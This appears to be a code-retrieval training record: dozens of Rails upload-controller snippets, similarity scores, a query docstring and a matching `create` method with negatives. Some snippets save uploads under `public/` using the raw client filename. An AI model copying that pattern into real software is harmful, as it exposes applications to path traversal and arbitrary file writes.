format.html { render :new }\n format.json { render json: @userfile.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @upload = Upload.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @upload }\n end\n end", "def new\n @upload = Upload.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @upload }\n end\n end", "def new\n @upload = Upload.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @upload }\n end\n end", "def new\n @upload = Upload.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @upload }\n end\n end", "def create\n @upload = Upload.new(upload_params)\n\n respond_to do |format|\n if @upload.save\n format.html { redirect_to new_upload_path, notice: 'Upload was successfully created.' }\n\n # Tell the UserMailer to send a welcome Email after save\n UploadMailer.send_confirmation_email(@upload).deliver\n else\n format.html { render action: 'new' }\n end\n end\n end", "def create\n @user_file = UserFile.new(user_file_params)\n @user_file.user = current_user\n respond_to do |format|\n if @user_file.save\n format.html { redirect_to @user_file, notice: \"User file was successfully created.\" }\n format.json { render :show, status: :created, location: @user_file }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @user_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n return error_status(true, :cannot_create_uploaded_file) unless (UploadedFile.can_be_created_by(@logged_user, @page))\n \n @uploaded_file = @page.uploaded_files.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @uploaded_file }\n end\n end", "def create_file\n project = UserFile.publication_project!(current_user, @scope)\n\n api = DIContainer.resolve(\"api.user\")\n file_dxid = api.file_new(params[:name], project)[\"id\"]\n\n file = UserFile.create!(\n dxid: file_dxid,\n project: project,\n name: params[:name],\n state: \"open\",\n description: params[:description],\n user: current_user,\n parent: current_user,\n scope: @scope,\n UserFile.scope_column_name(@scope) => @folder&.id,\n )\n\n render json: { id: file.uid }\n end", "def create\n respond_to do |format|\n if @upload.save\n result = @upload.to_jq_upload()\n result[:delete_url] = upload_path(@upload)\n \n format.html { redirect_to @upload, :notice => 'Upload was successfully created.' }\n #format.json { render :json => @upload, :status => :created, :location => @upload }\n format.json { render :json => [result].to_json, :status => :created, :location => @upload }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @upload.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @up_file = UpFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @up_file }\n end\n end", "def create\n @image_upload = ImageUpload.new(params[:image_upload])\n\n respond_to do |format|\n if @image_upload.save\n format.html { redirect_to @image_upload, notice: 'Image upload was successfully created.' }\n format.json { render json: @image_upload, status: :created, location: @image_upload }\n else\n format.html { render action: \"new\" }\n format.json { render json: @image_upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @resource = Resource.new \n @upload = Upload.new\n end", "def create_uploaded_file\n Hyrax::UploadedFile.create(user: @user, file: local_file)\n end", "def create\n @upload_file = UploadFile.new(upload_file_params)\n\n respond_to do |format|\n if @upload_file.save\n format.html { redirect_to upload_files_path, notice: 'Upload file was successfully created.' }\n format.json { render :show, status: :created, location: @upload_file }\n else\n format.html { render :new }\n format.json { render json: @upload_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n if current_user\n @ufile = Ufile.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ufile }\n end\n else\n redirect_to \"/users/sign_in\"\n end\n end", "def create\n\t\tuser_details = user_params\n\t\t@user = User.new user_details\n\t\tif params[:file]\n\t\t\tresponse = Cloudinary::Uploader.upload params[:file]\n\t\t\tuser_details[\"image\"] = response[\"url\"]\n\t\tend\n\n\t\t# a user is directly logged in once he/she creates an account\n\t\tif @user.save\n \t\t\tsession[:user_id] = @user.id\n \t\t\tredirect_to root_path\n\t\telse\n\t\t\trender :new\n\t\tend\n\tend", "def create\n @image_upload = ImageUpload.new(image_upload_params)\n\n respond_to do |format|\n if @image_upload.save\n format.html { redirect_to @image_upload, notice: 'Image upload was successfully created.' }\n format.json { render :show, status: :created, location: @image_upload }\n else\n format.html { render :new }\n format.json { render json: @image_upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @userfile = Userfile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @userfile }\n end\n end", "def new\n @user_file = UserFile.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @user_file }\n end\n end", "def create\n @upload = current_user.uploads.build(upload_params)\n if @upload.save \n flash[:notice] = \"Successfully uploaded the file.\"\n if @upload.folder #checking if we have a parent folder for this file \n redirect_to browse_path(@upload.folder) #then we redirect to the parent folder \n else\n redirect_to root_url \n end \n else\n render 'new'\n end\n end", "def upload\n create_document\n \n render_upload\n end", "def create\n # add validation to topic_id being an int and existing in database\n @upload = current_user.uploads.new(upload_params)\n\n # Set upload_file_size so the upload validator for monthly upload limits can take it into\n # consideration when saving the file. Perhaps there are better methods?\n @upload.upload_file_size = params[:filesize].to_i\n\n if @upload.valid?\n @upload.save\n jot = Jot.create_jot_from_upload(current_user.id, @upload.id, params[:topic_id].to_i)\n # @upload.postprocess_jot_update <-- used for local debugging\n ser_jot = JotSerializer.new(jot, :root => false, :scope => current_user)\n render :json => {:success => true, :jot => ser_jot} \n ap 'create done'\n else\n render :json => {:success => false, :errors => @upload.errors}, :status => :unprocessable_entity\n end\n\n end", "def upload\n\n current_user_id = params[:current_user_id]\n print current_user_id\n filename = params[:Filename]\n print filename\n filedata = params[:Filedata]\n print filedata\n galleryname = params[:gallery_name]\n print galleryname\n\n # Construct the gallery if necessary\n gallery = Gallery.find_by_title(galleryname)\n if gallery.nil?\n gallery = Gallery.new\n gallery.title = galleryname\n gallery.person_id = current_user_id\n gallery.save\n end\n \n picture = Picture.new\n picture.picture_file_name = filename\n picture.picture_file_data = filedata\n picture.title = \"\"\n picture.person_id = current_user_id\n picture.gallery_id = gallery.id\n picture.save\n \n end", "def create\n if params[:user]['image'].present?\n req = Cloudinary::Uploader.upload(params[:user][\"image\"])\n @user = User.new(user_params)\n @user.update :image => req[\"url\"]\n else\n @user = User.new(user_params)\n @user.update :image => 'https://tracker.moodle.org/secure/attachment/30912/f3.png'\n end\n\n\n if @user.save\n session[:user_id] = @user.id\n redirect_to user_path(@user.id)\n else\n render :new\n end\n\n end", "def new\n @asset = @uploadable.assets.new\n end", "def new\n @asset = @uploadable.assets.new\n end", "def upload\n @active_link = \"upload\"\n @post = generate_post(session_obj, {:is_upload=>true})\n render :new\n end", "def create\n @upload = Upload.new(upload_params)\n\n @upload.university_id = @university.id\n @upload.user_id = current_user.id\n\n respond_to do |format|\n if @upload.save\n format.html { redirect_to university_path(@university), notice: 'Upload was successfully created.' }\n format.js\n else\n format.html { render :new }\n format.js\n end\n end\n end", "def create\n @photo = Photo.new(params[:photo])\n\t\t@photo.user_id = @logged_in_user.id\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was uploaded successfully.' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.new(user_params)\n @user.image = Base64.encode64(open(user_params[:image].tempfile.path) { |io| io.read })\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @upload }\n end\n end", "def create\n @photo = current_user.photos.build(photo_params)\n @photo.image_url = upload_photo_and_return_name\n respond_to do |format|\n if @photo.save\n format.html { redirect_to root_url }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @picture = Picture.new(picture_params)\n @picture.user = current_user\n\n # Very simple upload\n filename = params[:picture][:filename]\n\n upload_directory = Rails.root.join('public', 'uploads')\n FileUtils.mkdir_p(upload_directory) unless File.exists?(upload_directory)\n\n File.open(Rails.root.join('public', 'uploads', filename.original_filename), 'wb') do |file|\n file.write(filename.read)\n @picture.filename = filename.original_filename\n end\n\n if @picture.save\n flash[:success] = \"Your picture was successfully uploaded\"\n redirect_to pictures_path\n else\n render :new\n end\n end", "def create\n # アップロードされたファイルのパラメータの中にupload_fileというパラメータを作ってしまった。\n # _form.html.erbの中でf.file_field :upload_fileとやっているのがそれ。\n upload_file = upload_file_params[:upload_file][:upload_file]\n content = {}\n puts upload_file\n puts \"hoge #{upload_file.original_filename}\"\n \n if upload_file != nil\n content[:file] = upload_file.read\n content[:filename] = upload_file.original_filename\n end\n\n @upload_file = UploadFile.new(content)\n puts @upload_file\n respond_to do |format|\n if @upload_file.save\n format.html { redirect_to @upload_file, notice: 'Upload file was successfully created.' }\n format.json { render :show, status: :created, location: @upload_file }\n else\n format.html { render :new }\n format.json { render json: @upload_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @upload_file = UploadFile.new\n\t\tauthorize! :create, UploadFile\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @upload_file }\n\t\tend\n end", "def new\n @image_upload = ImageUpload.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @image_upload }\n end\n end", "def create\n files = params[:files]\n files.each do |image|\n @product = Product.new({ image: image, user_id: current_user.id })\n @product.save\n end\n\n respond_to do |format|\n format.html { render :new }\n end\n end", "def uploader_create(params, request = nil)\n ability = Ability.new(request.env['warden'].user)\n\n if ability.can? :create, self\n self.user = request.env['warden'].user\n super\n else\n errors.add(:id, :access_denied)\n end\n end", "def create\n @upload = Upload.new(upload_params)\n @upload.status = Upload.statuses['nao_processado']\n respond_to do |format|\n if @upload.save\n format.html { redirect_to @upload, notice: 'Upload foi criado com sucesso.' }\n format.json { render :show, status: :created, location: @upload }\n else\n format.html { render :new }\n format.json { render json: @upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo= Photo.new(params[:photo])\n @user = User.find(params[:photo][:user_id])\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @user, notice: 'Photo was successfully uploaded.' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload\n uploaded_io = params[:user][:photo_data]\n filename = uploaded_io.original_filename\n\n filepath = Rails.root.join( 'public', \n 'uploads', \n filename )\n\n # Note that this will create a new file \"filename\" but it\n # can NOT create a new folder, so you must already\n # have a folder of that name \"public/uploads\" available.\n\n File.open(filepath, 'wb') do |file|\n # Note that we're using the `read` method\n file.write(uploaded_io.read)\n end\n end", "def create\n @user = User.new(user_params)\n file = params[:user][:image]\n @user.set_image(file)\n if @user.save\n sign_in @user\n flash[:success] = \"Welcome to HIKERS!\"\n redirect_to root_url\n else\n render 'new'\n end\n end", "def create\n @upload_file = UploadFile.new(params[:upload_file])\n\n respond_to do |format|\n if @upload_file.save\n format.html { redirect_to(@upload_file, :notice => 'Upload file was successfully created.') }\n format.xml { render :xml => @upload_file, :status => :created, :location => @upload_file }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @upload_file.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n image_params = params[:ueditor_image] || {}\n self._create(image_params[:data], image_params[:title])\n # input: { fileName:'', Filename:'', pictitle: '', dir:'', 'file_file_name':'', upfile:'', Upload:submit_button_value, otherparam123:xx}\n # output: { url:'', title:'', original:'', state:'SUCCESS'}\n end", "def create\n @picture_upload = PictureUpload.new(picture_upload_params)\n\n respond_to do |format|\n if @picture_upload.save\n format.html { redirect_to @picture_upload, notice: 'Picture upload was successfully created.' }\n format.json { render :show, status: :created, location: @picture_upload }\n else\n format.html { render :new }\n format.json { render json: @picture_upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = current_user\n @photo = Photo.new(photo_params)\n @photo.set_user!(current_user)\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end", "def create\n @image = Image.new(image_params)\n @image.generate_filename # a function you write to generate a random filename and put it in the images \"filename\" variable\n @image.user = current_user\n @uploaded_io = params[:image][:uploaded_file]\n File.open(Rails.root.join('public', 'images', @image.filename), 'wb') do |file|\n file.write(@uploaded_io.read)\n end\n\n if @image.save\n redirect_to @image, notice: 'Image was successfully created.'\n else\n render :new\n end\n\n #if @image.save\n #redirect_to @image, notice: 'Image was successfully created.'\n #else\n #render :new\n #end\n end", "def create(attributes)\n if uploader = self.uploader(attributes)\n uploader.post!\n end\n end", "def new\n @user = User.new\n # @images = @user.images.build\n end", "def new\n @user = User.find(params[:user_id])\n @photo = @user.photos.build\n end", "def create\n # get attribute values from param, manually\n filename = params[:upload][:uploaded_file].original_filename\n filetype = params[:upload][:uploaded_file].content_type\n file = params[:upload][:uploaded_file].tempfile\n \n @upload = Upload.new(:filename => filename, :filetype => filetype)\n\n data = {'filename' => @upload.filename}\n\n # save file (+Benchmark)\n @loading_time = Benchmark.realtime do\n @upload.write_uploaded_file(file, data)\n end\n\n @loading_time.set_file_loading_time\n\n print \"Loading Time: #{@loading_time}\"\n\n respond_to do |format|\n if @upload.save\n format.html { redirect_to @upload, notice: 'Upload was successfully created.' }\n format.json { render json: @upload, status: :created, location: @upload }\n else\n format.html { render action: \"new\" }\n format.json { render json: @upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload_params\n params.require(:upload).permit(:title, :upload, :user_id)\n end", "def new\n @upload = Upload.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @upload }\n end\n end", "def upload\n @mote = mote.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mote }\n end\n end", "def create\n @user = User.new(params[:user])\n # TODO process errors\n # TODO create folder\n # TODO create record in Folder\n if @user.save\n Dir.mkdir(Dir.pwd+\"/app/assets/images/from_users/\"+@user.id.to_s)\n render :partial => \"/users/create\"\n else\n render :partial => \"/users/create\"\n end\n \n end", "def create\n uploaded_io = params[:image][:content]\n\n @image = Image.new do |image|\n image.name = uploaded_io.original_filename\n image.content_type = uploaded_io.content_type\n image.content = uploaded_io.read\n end\n\n\n respond_to do |format|\n if @image.save\n format.html { redirect_to @image, notice: 'Image was successfully created.' }\n format.json { render json: @image, status: :created, location: @image }\n else\n format.html { render action: \"new\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n uploaded_io = params[:image_this]\n slide = Slide.new\n slide.user_id = current_user.id\n slide.file = uploaded_io\n if slide.save\n if params[:name].present?\n name = params[:name]\n else\n name = slide.file.to_s.split('/').last\n end\n\n if params[:tags].present?\n params[:tags].split(',').each do |tag|\n t = Tag.find_or_create_by(:name => tag)\n Tagging.create(:tag_id => t.id, :slide_id => slide.id, :user_id => current_user.id)\n end\n end\n\n slide.update_attributes(:name => name)\n out = 'success'\n else\n out = 'fail'\n end\n render :json => { :outcome => out, :url => slide.file.thumb.url }\n end", "def create\n @image = current_user.images.build(image_params)\n\n respond_to do |format|\n if @image.save\n format.html { redirect_to user_images_path(current_user), notice: 'Image was successfully created.' }\n format.json { render :show, status: :created, location: @image }\n else\n format.html { render :new }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @upload_photo = UploadPhoto.new(params[:upload_photo])\n\n @upload_photo.user_id = 0 - @session_id.to_i # this will be updated when user logged in.\n @upload_photo.user_id = params[:user_id] unless params[:user_id].blank?\n\n if @upload_photo.save\n\t\t render :text => @upload_photo.data.url(:medium).split('?').first # @upload_photo.data.url(:thumb)\n else\n render :text => \"ERROR WHILE UPLOADING IMAGE\"\n end\n end", "def create\n\tresult = Cloudinary::Uploader.upload(foto_params[:src])\n\t@foto = @proyecto.fotos.build(foto_params) do |t|\n t.src = result['url']\n\t\tt.public_id = result['public_id']\n end\n\tif @foto.save\n redirect_to @proyecto\n else\n render :new\n end\n end", "def create\n @image = Image.new(name: image_params[\"name\"], picture: image_params[\"picture\"], image_file_name:image_params[\"image_file_name\"], user_id: current_user.id)\n if @image.save\n redirect_to images_path\n else\n render 'new'\n end\n end", "def handle_docs_upload\n @user_document = current_user.build_user_document(document_params)\n if @user_document.save\n flash[:success] = I18n.t 'after_signup.upload_success'\n render_wizard current_user\n else\n flash[:error] = I18n.t 'after_signup.upload_failure'\n render after_signup_path(:upload_docs)\n end\n end", "def create\n @technology = Technology.new(technology_params)\n @technology.user_id = current_user.id\n\n respond_to do |format|\n if @technology.save\n @technology.save_file(params[:upload]) if params[:upload]\n flash[:success] = 'Technology was successfully created.'\n format.html { redirect_to @technology }\n format.json { render :show, status: :created, location: @technology }\n else\n flash[:danger] = 'There was a problem creating the Technology.'\n format.html { render :new }\n format.json { render json: @technology.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # if image(s) attached they will be found inside tour_params\n @tour = Tour.new(tour_params)\n\n respond_to do |format|\n if @tour.save\n # Save the current user to the new tour's list of users... this creates the association record in the user_tours table\n @tour.users << current_user\n format.html { redirect_to @tour, notice: 'Tour was successfully created.' }\n format.json { render :show, status: :created, location: @tour }\n else\n format.html { render :new }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user_image = UserImage.new(params[:user_image])\n\n respond_to do |format|\n if @user_image.save\n format.html { redirect_to(@user_image, :notice => 'User image was successfully created.') }\n format.xml { render :xml => @user_image, :status => :created, :location => @user_image }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_image.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create(file, destination = \"/\")\n\t\t# change to before filter\n\t\tif @logged_in\n\t\t\thome_page = @agent.get('https://www.dropbox.com/home')\n\t\telse\n\t\t\thome_page = login\n\t\tend\n\t\t\n\t\tupload_form = home_page.forms.detect{ |f| f.action == \"https://dl-web.dropbox.com/upload\" }\n\t\tupload_form.dest = namespace_path(destination)\n\t\tupload_form.file_uploads.first.file_name = file if file\n\t\t\n\t\t@agent.submit(upload_form).code == \"200\"\n\tend", "def create_upload_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: UploadsApi.create_upload ...\"\n end\n if @api_client.config.client_side_validation && opts[:'data_type'] && !['fit', 'fit.gz', 'tcx', 'tcx.gz', 'gpx', 'gpx.gz'].include?(opts[:'data_type'])\n fail ArgumentError, 'invalid value for \"data_type\", must be one of fit, fit.gz, tcx, tcx.gz, gpx, gpx.gz'\n end\n # resource path\n local_var_path = \"/uploads\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['multipart/form-data'])\n\n # form parameters\n form_params = {}\n form_params[\"file\"] = opts[:'file'] if !opts[:'file'].nil?\n form_params[\"name\"] = opts[:'name'] if !opts[:'name'].nil?\n form_params[\"description\"] = opts[:'description'] if !opts[:'description'].nil?\n form_params[\"trainer\"] = opts[:'trainer'] if !opts[:'trainer'].nil?\n form_params[\"commute\"] = opts[:'commute'] if !opts[:'commute'].nil?\n form_params[\"data_type\"] = opts[:'data_type'] if !opts[:'data_type'].nil?\n form_params[\"external_id\"] = opts[:'external_id'] if !opts[:'external_id'].nil?\n\n # http body (model)\n post_body = nil\n auth_names = ['strava_oauth']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Upload')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UploadsApi#create_upload\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create\n\n # CG - Mass assign incoming form data to new object that will be stored in the database.\n @user = User.new(user_params)\n\n # Only create a new image if the :image_file parameter\n # was specified\n @image = Image.new(photo: params[:image_file]) if params[:image_file]\n\n # The ImageService model wraps up application logic to\n # handle saving images correctly\n @service = ImageService.new(@user, @image)\n\n respond_to do |format|\n if @service.save # Will attempt to save user and image\n format.html { redirect_to(user_url(@user, page: @current_page),\n notice: I18n.t('users.account-created')) }\n format.json { render action: 'show', status: :created, location: @user }\n else\n format.html { render action: 'new' }\n\n # CG - Changed from 422 to 400 Bad Request - Validation error.\n format.json { render json: {:errors => @user.errors.full_messages}, :status => :bad_request }\n end\n end\n end", "def upload\r\n \r\n end", "def upload\n end", "def upload\n end", "def create\n @user = current_user\n @image = @user.images.build(image_params)\n\n respond_to do |format|\n if @image.save\n format.html { redirect_to @image.location, notice: 'Image was uploaded successfully!' }\n format.json { render :show, status: :created, location: @image }\n format.js\n else\n format.html { redirect_to @image.location, notice: 'Image could not be uploaded! Please try again.'}\n format.json { render json: @image.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end", "def new\n @csv_upload = CsvUpload.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @csv_upload }\n end\n end", "def create_photo_for_user(user)\n user.photos.create(\n user_id: user.id,\n title: \"Test Photo\",\n description: \"Bacon ipsum dolor sit amet beef shoulder frankfurter brisket short loin. Capicola shankle pork belly, turducken chuck doner leberkas short loin. Boudin strip steak pork loin shankle flank spare ribs shoulder. Ball tip leberkas beef shank jerky beef ribs tongue capicola short loin pork belly filet mignon ribeye pork doner.\",\n photo: fixture_file_upload(\"photos/photo1.jpg\")\n )\n end", "def create\n @uploaded_file = UploadedFile.new(file_name: params[:uploaded_file][:file_name].original_filename)\n respond_to do |format|\n if @uploaded_file.save\n load_imported_items\n format.html { redirect_to root_path, notice: 'Uploaded file was successfully created.' }\n format.json { render :show, status: :created, location: @uploaded_file }\n else\n format.html { render :new }\n format.json { render json: @uploaded_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # maybe I need the following instead ?\t\n #@image = current_user.images.new(params[:image])\n @image = Image.new(params[:image])\n \n respond_to do |format|\n if @image.save\n format.html { redirect_to images_path, notice: 'Image was successfully created.' }\n\t # format.html { redirect_to images_path, notice: 'Image was successfully created.' }\n format.json { render json: images_path, status: :created, location: @image }\n else\n format.html { render action: \"new\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(params[:photo])\n respond_to do |format|\n if @photo.save\n @current_user.upload_photo(@photo)\n format.html { redirect_to edit_admin_gallery_path(:id=>@gallery.id), notice: 'Photo was successfully created.' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @no_users = User.count()\n \n @user_resources = @user.user_resources\n \n @avatar_url = 'https://s3.amazonaws.com/' + BUCKET_NAME + \"/uploads/#{params[:id]}/user_avatar\"\n\n @new_resource = @user.user_resources.new\n @s3_direct_post = S3_BUCKET.presigned_post(key: \"uploads/#{params[:id]}/${filename}\", success_action_status: 201, acl: :public_read)\n\n end", "def upload\n files_saved = 0\n # Build product images from upload\n\t\tparams[:file].each do |i|\n if i[:file_data] && !i[:file_data].blank?\n new_file = UserUpload.init(i[:file_data])\n if new_file.save\n files_saved += 1\n end\n end\n end\n \n flash[:notice] = \"#{files_saved} file(s) uploaded.\"\n \n if params[:modal]\n redirect_to :action => 'image_library' and return\n else\n redirect_to :action => 'index' and return\n end\n end" ]
[ "0.77871794", "0.7580909", "0.75045276", "0.74717766", "0.7422219", "0.7179301", "0.71740174", "0.71701086", "0.7143517", "0.70645696", "0.69469506", "0.6901484", "0.6885519", "0.68832", "0.6800499", "0.6790508", "0.6784306", "0.67661387", "0.67541766", "0.6696461", "0.66543114", "0.66527283", "0.6652649", "0.6652649", "0.6652649", "0.6646152", "0.66406643", "0.66016537", "0.6585299", "0.6569658", "0.6569479", "0.65623176", "0.6542645", "0.65313", "0.65246", "0.64967006", "0.6473906", "0.6468127", "0.64517164", "0.6451087", "0.64427173", "0.64316714", "0.64296496", "0.6389321", "0.6377491", "0.63751954", "0.63751954", "0.6361659", "0.63567865", "0.63386476", "0.6311789", "0.6299549", "0.62908125", "0.627114", "0.6236359", "0.62297744", "0.62024456", "0.62024254", "0.61944956", "0.6188952", "0.6183487", "0.6172775", "0.61709046", "0.61456436", "0.6144079", "0.61341536", "0.6128404", "0.6127301", "0.61263007", "0.6112962", "0.610643", "0.609733", "0.60849947", "0.6080315", "0.6071337", "0.6070059", "0.60629094", "0.6060173", "0.604866", "0.60416484", "0.603014", "0.60291684", "0.6027422", "0.6022037", "0.6021423", "0.60169595", "0.60163885", "0.60133886", "0.598487", "0.59826756", "0.5980716", "0.5980716", "0.5971802", "0.59673995", "0.5961238", "0.5959846", "0.5959209", "0.5958224", "0.59563446", "0.5956261" ]
0.7059898
10
POST /users/:user_id/uploads Create an upload for the given user. Uploading the image happens behind the scenes in the Upload model.
def create @upload = @user.uploads.build(upload_params) authorize @upload respond_to do |format| if @upload.save format.json { render json: @upload } format.html { redirect_to user_uploads_path(@user) } else format.json { render json: @upload.errors } format.json { render :new } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n new_uploads = create_upload_params\n new_uploads[:user_id] = current_or_guest_user.id\n\n @upload = Upload.new(new_uploads)\n\n if @upload.save\n flash[:success] = 'File Upload Successfully!'\n else\n flash[:danger] = 'An error occurred. Please try again!'\n flash[:error] = t(@upload.errors.full_messages.to_sentence)\n end\n redirect_to root_path\n end", "def create\n @upload = current_user.uploads.build(upload_params)\n if @upload.save\n flash[:notice] = \"Successfully uploaded the file.\"\n if @upload.folder\n redirect_to browse_path(@upload.folder)\n else\n redirect_to root_url\n end\n else\n render :action => 'new'\n end\n end", "def create\n @user = User.new(user_params)\n @user.image = Base64.encode64(open(user_params[:image].tempfile.path) { |io| io.read })\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @upload = Upload.new(params[:upload])\n\n respond_to do |format|\n if @upload.save\n format.html { redirect_to [@user, @upload], notice: 'Upload was successfully created.' }\n format.json { render json: @upload, status: :created, location: @upload }\n else\n format.html { render action: \"new\" }\n format.json { render json: @upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_uploaded_file\n Hyrax::UploadedFile.create(user: @user, file: local_file)\n end", "def create\n @upload = Upload.new(params[:upload])\n @upload.user_id = current_user.id if current_user\n if @upload.save\n redirect_to \"/patients\"\n else\n render :new\n end\n end", "def upload\n uploaded_io = params[:user][:photo_data]\n filename = uploaded_io.original_filename\n\n filepath = Rails.root.join( 'public', \n 'uploads', \n filename )\n\n # Note that this will create a new file \"filename\" but it\n # can NOT create a new folder, so you must already\n # have a folder of that name \"public/uploads\" available.\n\n File.open(filepath, 'wb') do |file|\n # Note that we're using the `read` method\n file.write(uploaded_io.read)\n end\n end", "def create\n @user = User.new(user_params)\n file = params[:user][:image]\n @user.set_image(file)\n if @user.save\n sign_in @user\n flash[:success] = \"Welcome to HIKERS!\"\n redirect_to root_url\n else\n render 'new'\n end\n end", "def create\n @user_file = UserFile.new(user_file_params)\n @user_file.user = current_user\n respond_to do |format|\n if @user_file.save\n format.html { redirect_to @user_file, notice: \"User file was successfully created.\" }\n format.json { render :show, status: :created, location: @user_file }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @user_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if params[:user]['image'].present?\n req = Cloudinary::Uploader.upload(params[:user][\"image\"])\n @user = User.new(user_params)\n @user.update :image => req[\"url\"]\n else\n @user = User.new(user_params)\n @user.update :image => 'https://tracker.moodle.org/secure/attachment/30912/f3.png'\n end\n\n\n if @user.save\n session[:user_id] = @user.id\n redirect_to user_path(@user.id)\n else\n render :new\n end\n\n end", "def upload_file(upload, user, client_name)\n if upload != nil\n if user.link_picture != nil\n File.delete('public/images/' << user.link_picture)\n end\n name = upload['img'].original_filename\n directory = 'public/images/' + client_name + '/users/' + user.username\n path = File.join(directory, name)\n File.open(path, 'wb') { |f| f.write(upload['img'].read) }\n path_img = client_name + '/users/' + user.username + '/' + name\n User.where(:id => user.id).update_all(link_picture: path_img)\n end\n end", "def create\n @user= User.find(params[:user_id])\n p = user_image_params\n img = p[:img]\n if (!UserImagesController.valid_extension(img.original_filename))\n flash[:notice] = \"The given file does not appear to be a valid image.\"\n redirect_to new_user_user_image_path(@user)\n return\n end\n p.delete(:img)\n @user_image= @user.user_images.build(p)\n if @user_image.save\n obj = S3_BUCKET.objects[@user_image.id.to_s+\"___\"+img.original_filename]\n obj.write(img.read, acl: :public_read)\n @user_image.avatar = obj.public_url\n @user_image.save!\n flash[:notice] = 'Your photo was successfully created.'\n else\n flash[:notice] = 'Your image could not be created'\n end\n redirect_to user_path(@user)\n end", "def create\n@upload = Upload.create(upload_params)\nend", "def create\n\t\tuser_details = user_params\n\t\t@user = User.new user_details\n\t\tif params[:file]\n\t\t\tresponse = Cloudinary::Uploader.upload params[:file]\n\t\t\tuser_details[\"image\"] = response[\"url\"]\n\t\tend\n\n\t\t# a user is directly logged in once he/she creates an account\n\t\tif @user.save\n \t\t\tsession[:user_id] = @user.id\n \t\t\tredirect_to root_path\n\t\telse\n\t\t\trender :new\n\t\tend\n\tend", "def create\n\n # CG - Mass assign incoming form data to new object that will be stored in the database.\n @user = User.new(user_params)\n\n # Only create a new image if the :image_file parameter\n # was specified\n @image = Image.new(photo: params[:image_file]) if params[:image_file]\n\n # The ImageService model wraps up application logic to\n # handle saving images correctly\n @service = 